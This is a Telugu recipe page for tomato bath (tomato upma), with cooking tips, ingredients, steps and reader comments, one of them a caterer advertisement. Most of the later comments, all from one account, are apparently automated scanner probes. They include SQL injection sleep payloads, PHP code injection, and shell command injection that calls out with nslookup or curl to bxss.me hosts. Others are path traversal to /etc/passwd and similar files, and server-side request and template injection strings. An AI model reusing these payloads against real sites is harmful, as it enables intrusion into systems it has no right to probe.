టమాటో బాత్ | టొమాటో ఉప్మా

Breakfast Recipes
5.0 AVERAGE
100 Comments

ఈ రెసిపీని టమాటో బాత్ అని ఆంధ్రాలో అంటారు. దీన్నే తమిళనాడులో కిచిడీ అంటారు. కర్ణాటకలో మాత్రం రవ్వతో కాక రైస్ తో చేసే చేసే దాన్ని టొమాటో బాత్ అంటారు.

నేను ఆంధ్ర వాళ్ళు ఎంతో ఇష్టంగా చేసుకునే టొమాటో బాత్ రెసిపి చేస్తున్నా. ఒక రకంగా ఇది టొమాటో ఉప్మా. ఇది ఆంధ్రాలో పెళ్ళిళ్ళలో టిఫిన్ గా పెడతారు కూడా. బొంబాయ్ రవ్వ లో టొమాటో ముక్కలు వేసి చేస్తారు. నాకు ఈ రెసిపి రోజూ చేసి పెట్టినా చాలా ఇష్టంగా తింటాను.

సహజంగా ఉప్మా అనగానే చిరాకు పడతారు, కాని చేసే తీరు, వండే పధ్ధతిలో చేస్తే రోజూ పెట్టిన తింటారు. అలా రోజూ చేసుకుని తినేంత బాగుంటుంది ఈ టొమాటో బాత్. ఇది లంచ్ బాక్సులకి కూడా చాలా పర్ఫెక్ట్.

ఈ టొమాటో బాత్ కారం పొడి లేదా సెనగపప్పు చట్నీతో చాలా రుచిగా ఉంటుంది.

రెసిపీ ప్రింట్ చేయడానికి

టిప్స్

హోటల్ లో చేసే టొమాటో బాత్ ఎందుకంత రుచిగా ఉంటుంది:

• రవ్వ ని వేపే తీరులో రుచి ఆధారపడి ఉంది. రవ్వని సన్నని సెగ మీద కలుపుతూ వేపితే ఉప్మా రుచి, రూపం చాలా బాగుంటుంది

• రవ్వని నెయ్యి లో వేపితే టొమాటో బాత్ రుచి సువాసన చాలా గొప్పగా ఉంటుంది. నచ్చితే అచ్చంగా నెయ్యితో చేసి చూడండి, భలేగా ఉంటుంది.

• తాలింపు కరకరలాడేట్టు వేపితే ఎసరులో ఉడికినా ఇంకా కాస్త పలుకుగానే ఉండి చాలా రుచిగా ఉంటుంది

• జీడిపప్పు ముందు వేపి తీసి ఆఖరున కలిపితే జీడిపప్పు మెత్తబడదు. కరకరలాడుతూ రుచిగా ఉంటుంది. నచ్చితే మెత్తగానూ తినవచ్చు ఎసరులో ఉడికించి

• కూరకాయలు మరీ మెత్తగా వేపితే ఎసరులో ఉడికి మెత్తగా అయిపోయి ఉప్మాలో కలిసిపోయి నోటికి అందవు. అందుకే 80% వేపుకుంటే మిగిలినది ఎసరులో మగ్గిపోతుంది.

• ఆఖరున వేసే కాస్త నెయ్యి కొద్దిగా కొత్తిమీర పరిమళం చాలా బాగుంటుంది.

Tomato Bath | Perfect Tomato Bath Recipe | How to make Tomato Bhath

More Breakfast Recipes Recipes

సేమియా కర్డ్ బాత్

అప్పం రెసిపి

స్పాంజి రైస్ ఇడ్లి

హోటల్ స్టైల్ పూరీ కర్రీ

టమాటో బాత్ | టొమాటో ఉప్మా - రెసిపీ వీడియో

Tomato Bath | Perfect Tomato Bath Recipe | How to make Tomato Bhath

Breakfast Recipes | vegetarian
  • Prep Time 5 mins
  • Cook Time 20 mins
  • Total Time 25 mins
  • Servings 4
See this Recipe in English

కావాల్సిన పదార్ధాలు

  • 1 cup బొంబాయి రవ్వ
  • 2 టమాటాలు
  • 1/4 cup కేరట్ తరుగు
  • 1/2 cup ఉల్లిపాయ తరుగు
  • 1/4 cup తాజా బటాని
  • 1 పచ్చిమిర్చి
  • 1 tbsp అల్లం తరుగు
  • 1 రెబ్బ కరివేపాకు
  • 2 tbsps కొత్తిమీర తరుగు
  • జీడి పప్పు - పిడికెడు
  • 1 tsp ఆవాలు
  • 1 tsp సెనగపప్పు
  • 1 tsp మినపప్పు
  • 1 tsp జీలకర్ర
  • 1/2 tsp పసుపు
  • ఉప్పు
  • 2 tbsps నూనె
  • 1/4 cup నెయ్యి
  • 3 cups నీళ్ళు
రెసిపీ ప్రింట్ చేయడానికి

విధానం

  1. రవ్వని లో-ఫ్లేం మీద మంచి సువాసన వచ్చే దాక వేపుకోండి. లో-ఫ్లేం మీద వేపితేనే చాలా మృదువుగా ఉంటుంది టమాటో బాత్.
  2. 1 tbsp నెయ్యి, 2 tbsps నూనె వేడి చేసి అందులో జీడిపప్పు వేసి ఎర్రగా వేపి తీసి పక్కనుంచుకోండి
  3. అదే నూనె లో ఆవాలు, జీలకర్ర, మినపప్పు, సెనగపప్పు, వేసి ఎర్రగా వేపి, ఉల్లిపాయ ముక్కలు వేసి 2 నిమిషాల పాటు వేపుకోండి.
  4. ఆ తరువాత పచ్చిమిర్చి, అల్లం తరుగు వేసి ఉల్లిపాయలు మెత్తబడే దాకా వేపుకోండి.
  5. టమాటో ముక్కలు వేసి 2 నిమిషాలు ఫ్రై చేసుకుని, కేరట్ తరుగు, బటాని, పుసుపు, కరివేపాకు, ఉప్పు వేసి కాయకూరలని 80% కుక్ చేసుకోండి.
  6. ఇప్పుడు నీళ్ళు పోసి ఎసరుని తెర్ల కాగనివ్వండి, ఆ తరువాత రవ్వ వేసి బాగా కలిపి మూత పెట్టి 3 నిమిషాలు మగ్గించుకోండి
  7. ఆ తరువాత కొత్తిమీర, జీడిపప్పు, 2 tbsps నెయ్యి వేసి బాగా కలిపి దింపి సర్వ్ చేసుకోండి

Leave a comment

Rate this Recipe:
Your email address will not be published.

100 comments

  • V
    Vankadari venkateswari
    👌👌👌
    1 year ago Reply
  • S
    srimayyia
    Recipe Rating:
    Just Amazing. Many gratitude Sri Mayyia Caterers dates back to 1953, a nostalgic era where traditional Indian fare was a clear favourite, and every feast or celebration was incomplete without the mouthwatering delicacies. for further details pls visit our official website https://www.srimayyiacaterers.co.in/, Contact us @ +91 98450 38235/ +91 98454 97222
    1 year ago Reply
  • S
    Sai Kumar
    reciepe try chesanu chala baga vachindhi
    2 years ago Reply
  • S
    Shabeenashaik
    Recipe Rating:
    Simply super I tried it and it comes perfect
    3 years ago Reply
  • S
    sai kumar
    I tried the recipe. I enjoyed it
    3 years ago Reply
  • S
    Srilakshmivenugopal
    Recipe Rating:
    Super 👍👍👍
    3 years ago Reply
  • P
    Praveen Kumar Bheemarthi
    Recipe Rating:
    Must try this Awesome recipe.
    3 years ago Reply
  • S
    Sushil Kumar Rachuri
    Recipe Rating:
    తృప్తి గా ఉంది
    3 years ago Reply
  • A
    Ardhi shanmukh Rao
    Simply Superb.
    3 years ago Reply
  • R
    Roopa Reddy
    Recipe Rating:
    Super.... Nice👍 teja garu
    4 years ago Reply
  • T
    Tejaswini
    Recipe Rating:
    👌👌👌👌and mouthwatering recipe 🤗🤗🤗😋😋😋😋😋
    4 years ago Reply
  • K
    Kavitha
    Recipe Rating:
    I really love this vismai food recipes. Especially Teja sir voice
    4 years ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      @@Fyfq2
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1????%2527%2522\'\"
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1'"
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1ns6Iof87')) OR 904=(SELECT 904 FROM PG_SLEEP(15))--
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      16lv4Padz') OR 608=(SELECT 608 FROM PG_SLEEP(15))--
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1j0mAPeEw' OR 776=(SELECT 776 FROM PG_SLEEP(15))--
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1-1)) OR 462=(SELECT 462 FROM PG_SLEEP(15))--
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1-1) OR 332=(SELECT 332 FROM PG_SLEEP(15))--
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1-1 OR 983=(SELECT 983 FROM PG_SLEEP(15))--
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1mI8Lo4JB'; waitfor delay '0:0:15' --
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1-1 waitfor delay '0:0:15' --
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1-1); waitfor delay '0:0:15' --
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1-1; waitfor delay '0:0:15' --
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1*if(now()=sysdate(),sleep(15),0)
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      -1 OR 3+897-897-1=0+0+0+1
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      -1 OR 2+897-897-1=0+0+0+1
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1*1
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1*1
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1*1
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1*1
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1WMpgKHb6
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      {php}print(md5(31337));{/php}
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      [php]print(md5(31337));[/php]
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      print(md5(31337));//
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '{${print(md5(31337))}}'
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '.print(md5(31337)).'
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ${@print(md5(31337))}
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ${@print(md5(31337))}\
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ';print(md5(31337));$a='
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ";print(md5(31337));$a="
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ".gethostbyname(lc("hitnc"."qokhwjfld9c52.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(83).chr(109).chr(83)."
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      gethostbyname(lc('hitkc'.'hnytyjha2a995.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(71).chr(109).chr(88)
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '.gethostbyname(lc('hitdq'.'xjvxtigibbb8c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(69).chr(117).chr(76).'
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ;(nslookup -q=cname hitztctxpszjp793f5.bxss.me||curl hitztctxpszjp793f5.bxss.me)|(nslookup -q=cname hitztctxpszjp793f5.bxss.me||curl hitztctxpszjp793f5.bxss.me)&(nslookup -q=cname hitztctxpszjp793f5.bxss.me||curl hitztctxpszjp793f5.bxss.me)
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      `(nslookup -q=cname hithohtntmntjd58cd.bxss.me||curl hithohtntmntjd58cd.bxss.me)`
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ../1
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ./1
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      |(nslookup -q=cname hithwtskkzbffe100d.bxss.me||curl hithwtskkzbffe100d.bxss.me)
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      &(nslookup -q=cname hitgjdmeijluo606dc.bxss.me||curl hitgjdmeijluo606dc.bxss.me)&'\"`0&(nslookup -q=cname hitgjdmeijluo606dc.bxss.me||curl hitgjdmeijluo606dc.bxss.me)&`'
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      &nslookup -q=cname hitemrcxkpganeee19.bxss.me&'\"`0&nslookup -q=cname hitemrcxkpganeee19.bxss.me&`'
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      $(nslookup -q=cname hitcrqhridbft55fde.bxss.me||curl hitcrqhridbft55fde.bxss.me)
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      file:///etc/passwd
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      (nslookup -q=cname hitjafhnrwpjk8c81e.bxss.me||curl hitjafhnrwpjk8c81e.bxss.me))
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1|echo hfrxlu$()\ pasljb\nz^xyu||a #' |echo hfrxlu$()\ pasljb\nz^xyu||a #|" |echo hfrxlu$()\ pasljb\nz^xyu||a #
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '"
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      |echo fwrjpt$()\ lldugn\nz^xyu||a #' |echo fwrjpt$()\ lldugn\nz^xyu||a #|" |echo fwrjpt$()\ lldugn\nz^xyu||a #
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1&echo fkvswl$()\ pxfatu\nz^xyu||a #' &echo fkvswl$()\ pxfatu\nz^xyu||a #|" &echo fkvswl$()\ pxfatu\nz^xyu||a #
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      vismaifood.com
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      &echo jhayib$()\ famdku\nz^xyu||a #' &echo jhayib$()\ famdku\nz^xyu||a #|" &echo jhayib$()\ famdku\nz^xyu||a #
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      https://vismaifood.com/
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      echo qlumbu$()\ lbaunn\nz^xyu||a #' &echo qlumbu$()\ lbaunn\nz^xyu||a #|" &echo qlumbu$()\ lbaunn\nz^xyu||a #
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      xfs.bxss.me
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1"||sleep(27*1000)*hdzgci||"
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1'||sleep(27*1000)*kkrfru||'
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1"&&sleep(27*1000)*zewxcj&&"
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1'&&sleep(27*1000)*etylqx&&'
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '"()
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      'A'.concat(70-3).concat(22*4).concat(101).concat(77).concat(122).concat(86)+(require'socket' Socket.gethostbyname('hitdy'+'xzbzccmu40b79.bxss.me.')[3].to_s)
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      "+"A".concat(70-3).concat(22*4).concat(118).concat(66).concat(122).concat(89)+(require"socket" Socket.gethostbyname("hitsb"+"zgtuqdbd7cce1.bxss.me.")[3].to_s)+"
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      tomato-bath-perfect-tomato-bath-recipe-how-to-make-tomato-bhath/.
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      tomato-bath-perfect-tomato-bath-recipe-how-to-make-tomato-bhath
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      tomato-bath-perfect-tomato-bath-recipe-how-to-make-tomato-bhath
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ^(#$!@#$)(()))******
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      !(()&&!|*|*|
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      bxss.me
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      c:/windows/win.ini
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ../../../../../../../../../../../../../../etc/shells
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      /etc/shells
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      http://bxss.me/t/fit.txt?.jpg
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      Http://bxss.me/t/fit.txt
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      1&n933885=v900006
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      12345'"\'\");|]*{ ?''💡
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      ${9999380+9999912}
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      7MDV9uSZ: pwkyhlQD
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      M2pvihUe
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      "+response.write(9400395*9066941)+"
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      '+response.write(9400395*9066941)+'
      1 month ago Reply
    • K
      kEMlzpAX
      Recipe Rating:
      response.write(9400395*9066941)
      1 month ago Reply
Tomato Bath | Perfect Tomato Bath Recipe | How to make Tomato Bhath